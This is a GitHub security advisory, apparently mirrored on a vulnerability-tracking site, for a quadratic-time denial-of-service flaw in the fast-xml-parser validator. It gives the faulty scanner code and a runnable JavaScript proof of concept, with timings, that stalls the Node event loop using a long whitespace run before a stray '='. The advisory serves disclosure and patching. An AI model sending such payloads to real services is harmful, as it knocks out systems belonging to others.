GHSA-7CFW-W2RF-F3JC
Vulnerability from github – Published: 2026-12-01 23:35 – Updated: 2026-12-01 23:35Summary
Reported by Nikhil Agrawal, Mettle Labs; reproduced only against a clean local install of fast-xml-parser@5.11.2 on their own machine. scanAttributeTokens in src/validator.js rescans a leading-whitespace run on every loop iteration when it hits a stray =, giving Theta(n^2) time. A few-hundred-KB input stalls the event loop for tens of seconds. Reachable on the default path via both XMLValidator.validate(xml) and new XMLParser().parse(xml, true), no non-default options.
Details
src/validator.js, scanAttributeTokens — on a = with no attribute name before it, i is reset to one past the token start, not past the =, so the leading-whitespace scan repeats:
function scanAttributeTokens(attrStr) {
const tokens = [];
const len = attrStr.length;
let i = 0;
while (i < len) {
const tokenStart = i;
// Leading whitespace before the name.
while (i < len && isWhiteSpace(attrStr[i])) i++;
if (i >= len) break;
if (attrStr[i] === '=') {
// No name before this '=' — not a valid attribute start.
i = tokenStart + 1; // <-- rewinds to tokenStart+1, NOT past the '=' -> re-scans the whitespace
continue;
}
...
For an attribute string of the shape <whitespace run> =, each outer iteration advances tokenStart by one but re-walks the entire remaining whitespace run up to the =, so total work is quadratic in the run length. It is reached whenever an element's attribute section is scanned, which both XMLValidator.validate() and XMLParser.parse(xml, true) (validation enabled) do on the default path. (This scanner is a recent regex -> hand-scanner rewrite; the quadratic rescan is in the rewrite.)
Proof of concept
A few-hundred-KB document hangs the validator. Runnable against a clean npm i fast-xml-parser@5.11.2
(Node >= 18):
// poc-fxp-quadratic.mjs
import { XMLValidator, XMLParser } from "fast-xml-parser";
for (const n of [20000, 40000, 80000, 160000]) {
const xml = "<a " + " ".repeat(n) + "=>"; // <element><whitespace run>= -> stray '='
const t0 = process.hrtime.bigint();
XMLValidator.validate(xml); // path 1: validate()
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(`validate n=${n} ${ms.toFixed(0)} ms`);
}
// path 2: XMLParser.parse(xml, true) hits the same scanner
const big = "<a " + " ".repeat(200000) + "=>";
const t0 = process.hrtime.bigint();
try { new XMLParser().parse(big, true); } catch (_) {}
console.log(`parse(.,true) n=200000 ${(Number(process.hrtime.bigint() - t0) / 1e6).toFixed(0)} ms`);
Measured on fast-xml-parser@5.11.2 (unpatched): n=20k -> 461 ms, 40k -> 1755 ms, 80k -> 7108 ms, 160k -> 29847 ms (~4x per 2x length = quadratic); 200k -> ~45 s. A ~200 KB request stalls the event loop ~45 s.
Impact
A single few-hundred-KB document sent to any service that validates or parses (with validation) attacker-controlled XML via fast xml-parser stalls the Node event loop for tens of seconds — a remote denial of service on the most-installed XML parser for Node, on the default code path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.0"
},
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-141469"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-01T23:35:22Z",
"nvd_published_at": "2026-12-01T21:17:10Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nReported by Nikhil Agrawal, Mettle Labs; reproduced only against a clean local install of `fast-xml-parser@5.11.2` on their own machine. `scanAttributeTokens` in `src/validator.js` rescans a leading-whitespace run on every loop iteration when it hits a stray `=`, giving Theta(n^2) time. A few-hundred-KB input stalls the event loop for tens of seconds. Reachable on the default path via both `XMLValidator.validate(xml)` and `new XMLParser().parse(xml, true)`, no non-default options.\n\n### Details\n\n\n`src/validator.js`, `scanAttributeTokens` \u2014 on a `=` with no attribute name before it, `i` is reset to one past the **token start**, not past the `=`, so the leading-whitespace scan repeats:\n\n```js\nfunction scanAttributeTokens(attrStr) {\n const tokens = [];\n const len = attrStr.length;\n let i = 0;\n while (i \u003c len) {\n const tokenStart = i;\n // Leading whitespace before the name.\n while (i \u003c len \u0026\u0026 isWhiteSpace(attrStr[i])) i++;\n if (i \u003e= len) break;\n if (attrStr[i] === \u0027=\u0027) {\n // No name before this \u0027=\u0027 \u2014 not a valid attribute start.\n i = tokenStart + 1; // \u003c-- rewinds to tokenStart+1, NOT past the \u0027=\u0027 -\u003e re-scans the whitespace\n continue;\n }\n ...\n```\n\nFor an attribute string of the shape `\u003cwhitespace run\u003e =`, each outer iteration advances `tokenStart` by one but re-walks the entire remaining whitespace run up to the `=`, so total work is quadratic in the run length. It is reached whenever an element\u0027s attribute section is scanned, which both `XMLValidator.validate()` and `XMLParser.parse(xml, true)` (validation enabled) do on the default path. (This scanner is a recent regex -\u003e hand-scanner rewrite; the quadratic rescan is in the rewrite.)\n\n### Proof of concept\n\n\nA few-hundred-KB document hangs the validator. Runnable against a clean `npm i fast-xml-parser@5.11.2`\n(Node \u003e= 18):\n\n```js\n// poc-fxp-quadratic.mjs\nimport { XMLValidator, XMLParser } from \"fast-xml-parser\";\n\nfor (const n of [20000, 40000, 80000, 160000]) {\n const xml = \"\u003ca \" + \" \".repeat(n) + \"=\u003e\"; // \u003celement\u003e\u003cwhitespace run\u003e= -\u003e stray \u0027=\u0027\n const t0 = process.hrtime.bigint();\n XMLValidator.validate(xml); // path 1: validate()\n const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n console.log(`validate n=${n} ${ms.toFixed(0)} ms`);\n}\n\n// path 2: XMLParser.parse(xml, true) hits the same scanner\nconst big = \"\u003ca \" + \" \".repeat(200000) + \"=\u003e\";\nconst t0 = process.hrtime.bigint();\ntry { new XMLParser().parse(big, true); } catch (_) {}\nconsole.log(`parse(.,true) n=200000 ${(Number(process.hrtime.bigint() - t0) / 1e6).toFixed(0)} ms`);\n```\n\nMeasured on `fast-xml-parser@5.11.2` (unpatched): n=20k -\u003e 461 ms, 40k -\u003e 1755 ms, 80k -\u003e 7108 ms, 160k -\u003e 29847 ms (~4x per 2x length = quadratic); **200k -\u003e ~45 s**. A ~200 KB request stalls the event loop ~45 s.\n\n### Impact\n\n\nA single few-hundred-KB document sent to any service that validates or parses (with validation) attacker-controlled XML via fast xml-parser stalls the Node event loop for tens of seconds \u2014 a remote denial of service on the most-installed XML parser for Node, on the default code path.",
"id": "GHSA-7cfw-w2rf-f3jc",
"modified": "2026-12-01T23:35:22Z",
"published": "2026-12-01T23:35:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-7cfw-w2rf-f3jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-141469"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4a1623bc23c011fd5ea0b72c21b00f3109688e6c"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.12.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "fast-xml-parser: Quadratic-time (ReDoS-class) denial of service in XMLValidator attribute scanner, default options"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.